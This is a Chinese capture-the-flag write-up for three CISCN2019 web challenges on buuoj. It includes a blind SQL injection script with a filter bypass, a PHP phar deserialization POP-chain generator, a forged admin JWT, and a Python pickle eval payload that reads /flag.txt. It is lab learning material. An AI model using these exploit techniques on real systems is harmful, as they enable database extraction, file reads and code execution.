buuoj刷题笔记[CISCN2019(一)]

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目链接:https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day2%20Web1]Hack%20World

前期注入测试

过滤空格、||、*、+、-
可以用如下逻辑 1%1 1/1 1^1
空格可以用()替代

EXP

import requests
import string

url="http://364aaec1-065b-42c1-97bf-e280f576346a.node2.buuoj.cn.wetolink.com/index.php"
temp=''
str1=string.printable
for i in range(1,12):
    for a in str1:
        data={
            'id':f'1^(ascii(substr((select(flag)from(flag)),{i},1))={ord(a)})'
        }
        rep= requests.post(url=url,data=data)
        print(data)
        if 'Occured' in rep.text:
            temp+=a
            print('[+] output: '+temp)
            break
 #flag{98cf8686-c4df-4a83-ba2c-eeb9c1dd2a3e}

[CISCN2019 华北赛区 Day1 Web1]Dropbox

先找到危险函数file_get_contents方法,需要找到触发点

1569485678161

一个phar反序列化的点,原先是定位到download.php中if判断存在open方法,且该方法存在file_exists可以触发反序列化,但是发现不能输出close()方法内容.

FIleList类中存在__call可以执行函数,且__destruct方法存在输出$this->results内容。还需要找到触发__call,User类__destruct可以调用close方法。

POP

1569499082605

EXP

<?php

class User{
    public $db;
}
class File{
    public $filename;
    public function __construct()
    {
        $this->filename='/flag.txt';
    }
}
class FileList{
    private $files;
    private $results;
    private $funcs;
    public function __construct()
    {
        $this->files=array(new File());
        $this->funcs=array();
        $this->results=array();
    }
}
$u = new User();
$u->db=(new FileList());
@unlink("test.phar");
$phar = new Phar("phar123.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($u); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename('phar123.phar','phar.jpg');

上传phar.jpg后,在delete.php删除该文件即可得flag

1569490138156

[CISCN2019 华北赛区 Day1 Web2]ikun

首页提示要求找到v6,py跑一波

1569501206377

访问链接跳转:http://7b6c1983-bc3e-4004-837b-9ef3b6fc7366.node2.buuoj.cn.wetolink.com:82/b1g_m4mber

爆破jwt秘钥,jwt.io替换用户名为admin生成新的秘钥

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

1569501186596

个人中心

1569501449435

网页源码

1569501608423

admin.py存在反序列化

1569502323795

exp

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a
#c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

1569502288697